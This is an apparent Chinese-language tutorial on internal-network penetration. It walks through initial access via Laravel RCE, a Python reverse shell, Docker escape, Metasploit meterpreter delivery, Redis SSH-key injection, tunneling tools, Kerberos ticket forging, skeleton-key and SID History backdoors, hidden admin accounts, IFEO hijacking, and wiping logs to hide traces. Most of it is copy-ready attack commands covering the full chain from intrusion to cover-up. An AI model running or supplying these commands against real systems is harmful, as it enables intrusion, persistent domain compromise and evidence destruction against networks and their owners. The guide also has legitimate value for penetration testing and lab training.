内网渗透该怎么学-小白篇
字数 1294 2025-08-22 12:22:15

内网渗透全面学习指南

一、入口点寻找与初始入侵

1. 信息收集与扫描

  • Nmap扫描:用于发现开放端口和服务
    nmap -sV -p- 192.168.157.131
    

2. Web应用漏洞利用

  • Laravel Debug模式RCE (CVE-2021-3129)
    • 利用工具:laravel-CVE-2021-3129-EXP
    • 配合Godzilla v2.96获取shell
    • 注意:高版本Godzilla可能不兼容

3. Docker环境提权

  • SUID提权方法

    find / -perm -u=s -type f 2>/dev/null
    
    • 发现具有SUID权限的可执行文件
    • 通过修改PATH环境变量实现提权
  • 反弹shell

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    

二、Docker逃逸技术

1. Docker runC漏洞逃逸 (CVE-2019-5736)

  • 利用条件:需要等待容器重启
  • 成功率较低

2. Docker特权模式逃逸

  • 步骤

    1. 创建挂载目录:mkdir /hack
    2. 查看设备文件:ls /dev
    3. 挂载宿主机磁盘:mount /dev/sda1 /hack
    4. 通过Metasploit生成payload写入计划任务
  • Metasploit配置

    use exploit/multi/script/web_delivery
    set target 7
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost [攻击机IP]
    set lport 4444
    exploit
    

三、横向移动技术

1. Redis未授权访问利用

  • 写入SSH公钥
    ssh-keygen -t rsa
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 目标IP -x set xxx
    redis-cli -h 目标IP
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    

2. 内网穿透工具

Earthworm (EW)

  • 服务端
    ./ew_for_linux64 -s rcsocks -l 8899 -e 1888
    
  • 客户端
    ./ew_for_linux64 -s rssocks -d 服务端IP -e 1888
    

FRP

  • 服务端配置(frps.ini)
    [common]
    bind_port = 7000
    
  • 客户端配置(frpc.ini)
    [common]
    server_addr = 服务端IP
    server_port = 7000
    
    [socks5]
    type = tcp
    remote_port = 1080
    plugin = socks5
    

Neo-reGeorg

  • 生成代理文件
    python neoreg.py generate -k 密码
    
  • 连接代理
    python3 neoreg.py -k 密码 -u http://目标URL/proxy.php -p 本地端口
    

Suo5

  • 特点:性能高,支持全双工与半双工模式
  • 使用
    ./suo5-linux-arm64 -t http://目标URL/suo5.jsp -l 0.0.0.0:1111
    

四、内网信息收集

1. 基础信息收集命令

ipconfig /all
systeminfo
route print
net view
arp -a
whoami
net start
net share
net config workstation
net user
net user /domain
net localgroup administrators
net view /domain
net group /domain
net group "domain admins" /domain
net group "domain computers" /domain
net group "domain controllers" /domain

2. IPC$远程连接

net use \\IP\ipc$ "密码" /user:"用户名"

五、权限维持技术

1. 票据攻击

白银票据

  • 制作
    kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:用户名 /ptt
    

黄金票据

  • 前置条件
    1. KRBTGT的hash
    2. 本地管理员权限
    3. 域的sid
  • 制作
    kerberos::golden /user:用户名 /domain:域名 /sid:域的sid /krbtgt:KRBTGT的hash /ticket:ticket.kirbi
    

钻石票据

  • 特点:使用真实TGT解密和重新加密
  • 利用
    Rubeus.exe diamond /krbkey:AES256密钥 /user:用户名 /password:密码 /enctype:aes /domain:域名 /dc:域控 /ticketuser:伪造用户名 /ptt
    

蓝宝石票据

  • 特点:通过合法请求获得TGT,修改PAC
  • 利用
    python ticketer.py -request -impersonate 'administrator' -domain '域名' -user '用户名' -password '密码' -aesKey 'AES256密钥' -domain-sid '域SID' -nthash 'NTLM哈希' '票据名'
    

2. Skeleton Key (万能密码)

  • 注入
    misc::skeleton
    
  • 使用
    net use \\域控\ipc$ "mimikatz" /user:域\administrator
    

3. DSRM域后门

  • 步骤
    1. 获取krbtgt的NTLM Hash
    2. 同步DSRM密码与krbtgt
    3. 修改DSRM登录方式(注册表设置DsrmAdminLogonBehavior=2)
    4. 使用PTH登录

4. SID History后门

  • 注入
    sid::patch
    sid::add /sam:目标用户 /new:administrator
    

5. 组策略脚本

  • 路径:C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

6. 计划任务

schtasks /create /tn 任务名 /tr "命令" /sc onlogon /ru System

7. 影子账号

net user only$ /add
net localgroup administrators only$ /add
  • 增强隐藏:修改注册表中用户的F值

8. 映像劫持

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\目标程序.exe" /v "Debugger" /t REG_SZ /d "后门程序路径" /f

六、痕迹清理

1. Linux清理

# 清除历史记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

# 清除日志
echo > /var/log/btmp
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/secure
echo > /var/log/messages

2. Windows清理

  • Metasploit
    clearev
    
  • 清除Recent
    del /f /s /q "%userprofile%\Recent*.*"
    

3. PowerShell清理系统日志

Clear-Eventlog -Log Application,System,Security
Get-WinEvent -ListLog Application,Setup,Security -Force | % { Wevtutil.exe cl $_.Logname }

七、免杀技术

(文中提到后续会单独写一篇,此处暂不展开)

总结与建议

  1. 实操是关键:搭建靶场环境进行练习
  2. 循序渐进:从基础到进阶,逐步掌握各项技术
  3. 全面了解:熟悉内网各个组件和它们之间的关系
  4. 持续学习:关注新技术和新漏洞

通过系统学习和大量实践,可以逐步掌握内网渗透的各个方面,从入口点寻找到权限维持,形成完整的内网渗透思路和方法论。

内网渗透全面学习指南 一、入口点寻找与初始入侵 1. 信息收集与扫描 Nmap扫描 :用于发现开放端口和服务 2. Web应用漏洞利用 Laravel Debug模式RCE (CVE-2021-3129) 利用工具:laravel-CVE-2021-3129-EXP 配合Godzilla v2.96获取shell 注意:高版本Godzilla可能不兼容 3. Docker环境提权 SUID提权方法 : 发现具有SUID权限的可执行文件 通过修改PATH环境变量实现提权 反弹shell : 二、Docker逃逸技术 1. Docker runC漏洞逃逸 (CVE-2019-5736) 利用条件:需要等待容器重启 成功率较低 2. Docker特权模式逃逸 步骤 : 创建挂载目录: mkdir /hack 查看设备文件: ls /dev 挂载宿主机磁盘: mount /dev/sda1 /hack 通过Metasploit生成payload写入计划任务 Metasploit配置 : 三、横向移动技术 1. Redis未授权访问利用 写入SSH公钥 : 2. 内网穿透工具 Earthworm (EW) 服务端 : 客户端 : FRP 服务端配置(frps.ini) : 客户端配置(frpc.ini) : Neo-reGeorg 生成代理文件 : 连接代理 : Suo5 特点 :性能高,支持全双工与半双工模式 使用 : 四、内网信息收集 1. 基础信息收集命令 2. IPC$远程连接 五、权限维持技术 1. 票据攻击 白银票据 制作 : 黄金票据 前置条件 : KRBTGT的hash 本地管理员权限 域的sid 制作 : 钻石票据 特点 :使用真实TGT解密和重新加密 利用 : 蓝宝石票据 特点 :通过合法请求获得TGT,修改PAC 利用 : 2. Skeleton Key (万能密码) 注入 : 使用 : 3. DSRM域后门 步骤 : 获取krbtgt的NTLM Hash 同步DSRM密码与krbtgt 修改DSRM登录方式(注册表设置DsrmAdminLogonBehavior=2) 使用PTH登录 4. SID History后门 注入 : 5. 组策略脚本 路径: C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup 6. 计划任务 7. 影子账号 增强隐藏 :修改注册表中用户的F值 8. 映像劫持 六、痕迹清理 1. Linux清理 2. Windows清理 Metasploit : 清除Recent : 3. PowerShell清理系统日志 七、免杀技术 (文中提到后续会单独写一篇,此处暂不展开) 总结与建议 实操是关键 :搭建靶场环境进行练习 循序渐进 :从基础到进阶,逐步掌握各项技术 全面了解 :熟悉内网各个组件和它们之间的关系 持续学习 :关注新技术和新漏洞 通过系统学习和大量实践,可以逐步掌握内网渗透的各个方面,从入口点寻找到权限维持,形成完整的内网渗透思路和方法论。